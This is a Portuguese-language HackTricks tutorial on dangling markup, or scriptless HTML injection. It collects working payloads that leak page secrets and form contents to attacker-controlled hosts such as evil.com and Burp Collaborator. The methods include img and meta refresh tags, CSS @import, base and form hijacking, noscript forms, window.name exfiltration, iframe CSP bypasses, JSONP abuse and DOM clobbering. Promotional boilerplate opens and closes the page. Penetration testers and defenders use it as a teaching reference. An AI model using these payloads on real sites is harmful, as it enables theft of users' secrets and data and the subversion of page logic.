14 KiB
Dangling Markup - Injeção sem scripts em HTML
Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
- Se você quer ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, confira os PLANOS DE ASSINATURA!
- Adquira o material oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção de NFTs exclusivos
- Junte-se ao grupo 💬 Discord ou ao grupo telegram ou siga-me no Twitter 🐦 @carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do HackTricks e HackTricks Cloud.
Resumo
Esta técnica pode ser usada para extrair informações de um usuário quando uma injeção de HTML é encontrada. Isso é muito útil se você não encontrar nenhuma maneira de explorar um XSS mas você pode injetar algumas tags HTML.
Também é útil se algum segredo estiver salvo em texto claro no HTML e você quiser exfiltrá-lo do cliente, ou se você quiser induzir ao erro a execução de algum script.
Várias técnicas comentadas aqui podem ser usadas para contornar algumas Políticas de Segurança de Conteúdo exfiltrando informações de maneiras inesperadas (tags html, CSS, meta-tags http, formulários, base...).
Principais Aplicações
Roubando segredos em texto claro
Se você injetar <img src='http://evil.com/log.cgi?
quando a página for carregada, a vítima enviará a você todo o código entre a tag img
injetada e a próxima aspa dentro do código. Se um segredo estiver localizado nesse trecho, você irá roubá-lo (você pode fazer a mesma coisa usando uma aspa dupla, veja qual poderia ser mais interessante de usar).
Se a tag img
for proibida (devido ao CSP, por exemplo), você também pode usar <meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?
<img src='http://attacker.com/log.php?HTML=
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=
Note que o Chrome bloqueia URLs HTTP com "<" ou "\n" nelas, então você pode tentar outros esquemas de protocolo como "ftp".
Você também pode abusar do CSS @import
(enviará todo o código até encontrar um ";")
<style>@import//hackvertor.co.uk? <--- Injected
<b>steal me!</b>;
Você também pode usar <table
:
<table background='//your-collaborator-id.burpcollaborator.net?'
Você também pode inserir uma tag <base
. Todas as informações serão enviadas até que a aspa seja fechada, mas isso requer alguma interação do usuário (o usuário deve clicar em algum link, porque a tag base terá alterado o domínio apontado pelo link):
<base target=' <--- Injected
steal me'<b>test</b>
Roubando formulários
<base href='http://evil.com/'>
Então, os formulários que enviam dados para o caminho (como <form action='update_profile.php'>
) enviarão os dados para o domínio malicioso.
Roubando formulários 2
Defina um cabeçalho de formulário: <form action='http://evil.com/log_steal'>
isso sobrescreverá o próximo cabeçalho de formulário e todos os dados do formulário serão enviados para o atacante.
Roubando formulários 3
O botão pode alterar a URL para onde as informações do formulário serão enviadas com o atributo "formaction":
<button name=xss type=submit formaction='https://google.com'>I get consumed!
Um atacante pode usar isso para roubar informações.
Roubando segredos em texto claro 2
Usando a técnica mencionada anteriormente para roubar formulários (injetando um novo cabeçalho de formulário), você pode então injetar um novo campo de entrada:
<input type='hidden' name='review_body' value="
e este campo de entrada conterá todo o conteúdo entre sua aspa dupla e a próxima aspa dupla no HTML. Este ataque combina "Roubo de segredos em texto claro" com "Roubo de formulários2".
Você pode fazer o mesmo injetando um formulário e uma tag <option>
. Todos os dados até que um </option>
fechado seja encontrado serão enviados:
<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option
Injeção de parâmetro em formulário
Você pode alterar o caminho de um formulário e inserir novos valores para que uma ação inesperada seja realizada:
<form action='/change_settings.php'>
<input type='hidden' name='invite_user'
value='fredmbogo'> ← Injected lines
<form action="/change_settings.php"> ← Existing form (ignored by the parser)
...
<input type="text" name="invite_user" value=""> ← Subverted field
...
<input type="hidden" name="xsrf_token" value="12345">
...
</form>
Roubando segredos em texto claro via noscript
<noscript></noscript>
É uma tag cujo conteúdo será interpretado se o navegador não suportar javascript (você pode ativar/desativar Javascript no Chrome em chrome://settings/content/javascript).
Uma maneira de exfiltrar o conteúdo da página web do ponto de injeção até o final para um site controlado pelo atacante será injetando isto:
<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
Bypass CSP com interação do usuário
A partir desta pesquisa da portswigger, você pode aprender que mesmo nos ambientes mais restritos pelo CSP, ainda é possível exfiltrar dados com alguma interação do usuário. Nesta ocasião, vamos usar o payload:
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target='
Observe que você pedirá à vítima para clicar em um link que a redirecionará para um payload controlado por você. Note também que o atributo target
dentro da tag base
conterá conteúdo HTML até a próxima aspa simples.
Isso fará com que o valor de window.name
seja todo aquele conteúdo HTML se o link for clicado. Portanto, como você controla a página para onde a vítima está acessando ao clicar no link, você pode acessar esse window.name
e exfiltrar esses dados:
<script>
if(window.name) {
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
</script>
Fluxo de trabalho de script enganoso 1 - Ataque ao namespace HTML
Insira uma nova tag com um id dentro do HTML que sobrescreverá a próxima e com um valor que afetará o fluxo de um script. Neste exemplo, você está selecionando com quem uma informação será compartilhada:
<input type='hidden' id='share_with' value='fredmbogo'> ← Injected markup
...
Share this status update with: ← Legitimate optional element of a dialog
<input id='share_with' value=''>
...
function submit_status_update() {
...
request.share_with = document.getElementById('share_with').value;
...
}
Fluxo de trabalho enganoso de script 2 - Ataque ao namespace de script
Crie variáveis dentro do namespace javascript inserindo tags HTML. Então, essa variável afetará o fluxo da aplicação:
<img id='is_public'> ← Injected markup
...
// Legitimate application code follows
function retrieve_acls() {
...
if (response.access_mode == AM_PUBLIC) ← The subsequent assignment fails in IE
is_public = true;
else
is_public = false;
}
function submit_new_acls() {
...
if (is_public) request.access_mode = AM_PUBLIC; ← Condition always evaluates to true
...
}
Abuso de JSONP
Se você encontrar uma interface JSONP, poderá ser capaz de chamar uma função arbitrária com dados arbitrários:
<script src='/editor/sharing.js'>: ← Legitimate script
function set_sharing(public) {
if (public) request.access_mode = AM_PUBLIC;
else request.access_mode = AM_PRIVATE;
...
}
<script src='/search?q=a&call=set_sharing'>: ← Injected JSONP call
set_sharing({ ... })
Ou você pode até tentar executar algum javascript:
<script src='/search?q=a&call=alert(1)'></script>
Abuso de Iframe
Note que um documento filho pode visualizar e definir a propriedade de localização para o pai, mesmo se for cross-origin. Isso significa que você pode fazer o cliente acessar qualquer outra página carregando dentro de um iframe um código como:
<html><head></head><body><script>top.window.location = "https://attacker.com/hacked.html"</script></body></html>
Isso pode ser mitigado com algo como: sandbox='allow-scripts allow-top-navigation'
Um iframe também pode ser abusado para vazar informações sensíveis de uma página diferente usando o atributo de nome do iframe. Isso ocorre porque você pode criar um iframe que se referencia, abusando da injeção de HTML que faz com que as informações sensíveis apareçam dentro do atributo de nome do iframe e, em seguida, acessar esse nome a partir do iframe inicial e vazá-lo.
<script>
function cspBypass(win) {
win[0].location = 'about:blank';
setTimeout(()=>alert(win[0].name), 500);
}
</script>
<iframe src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27" onload="cspBypass(this.contentWindow)"></iframe>
Para mais informações, consulte https://portswigger.net/research/bypassing-csp-with-dangling-iframes
Abuso de <meta
Você pode usar meta http-equiv
para realizar várias ações como definir um Cookie: <meta http-equiv="Set-Cookie" Content="SESSID=1">
ou realizar um redirecionamento (em 5s neste caso): <meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />
Isso pode ser evitado com um CSP referente a http-equiv (Content-Security-Policy: default-src 'self';
, ou Content-Security-Policy: http-equiv 'self';
)
Nova tag HTML <portal
Você pode encontrar uma pesquisa muito interessante sobre vulnerabilidades exploráveis da tag <portal aqui.
No momento desta escrita, você precisa habilitar a tag portal no Chrome em chrome://flags/#enable-portals
ou ela não funcionará.
<portal src='https://attacker-server?
Vazamentos HTML
Nem todas as formas de vazar conectividade em HTML serão úteis para Dangling Markup, mas às vezes podem ajudar. Confira aqui: https://github.com/cure53/HTTPLeaks/blob/master/leak.html
SS-Leaks
Isso é uma mistura entre dangling markup e XS-Leaks. De um lado, a vulnerabilidade permite injetar HTML (mas não JS) em uma página da mesma origem da que estaremos atacando. Por outro lado, não vamos atacar diretamente a página onde podemos injetar HTML, mas outra página.
{% content-ref url="ss-leaks.md" %} ss-leaks.md {% endcontent-ref %}
XS-Search/XS-Leaks
XS-Search são orientados a exfiltrar informações cross-origin abusando de ataques de canal lateral. Portanto, é uma técnica diferente de Dangling Markup, no entanto, algumas das técnicas abusam da inclusão de tags HTML (com e sem execução de JS), como Injeção de CSS ou Imagens de Carregamento Lento.
{% content-ref url="../xs-search.md" %} xs-search.md {% endcontent-ref %}
Lista de Detecção de Força Bruta
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt" %}
Referências
Todas as técnicas apresentadas aqui e mais podem ser revisadas com mais detalhes em:
{% embed url="http://lcamtuf.coredump.cx/postxss/" %}
Outras tags HTML que podem ser abusadas podem ser encontradas aqui:
{% embed url="http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/" %}
Mais informações:
{% embed url="https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup" %}
Aprenda hacking em AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
- Se você quer ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF Confira os PLANOS DE ASSINATURA!
- Adquira o material oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção de NFTs exclusivos
- Junte-se ao grupo 💬 Discord ou ao grupo telegram ou siga-me no Twitter 🐦 @carlospolopm.
- Compartilhe suas dicas de hacking enviando PRs para os repositórios github HackTricks e HackTricks Cloud.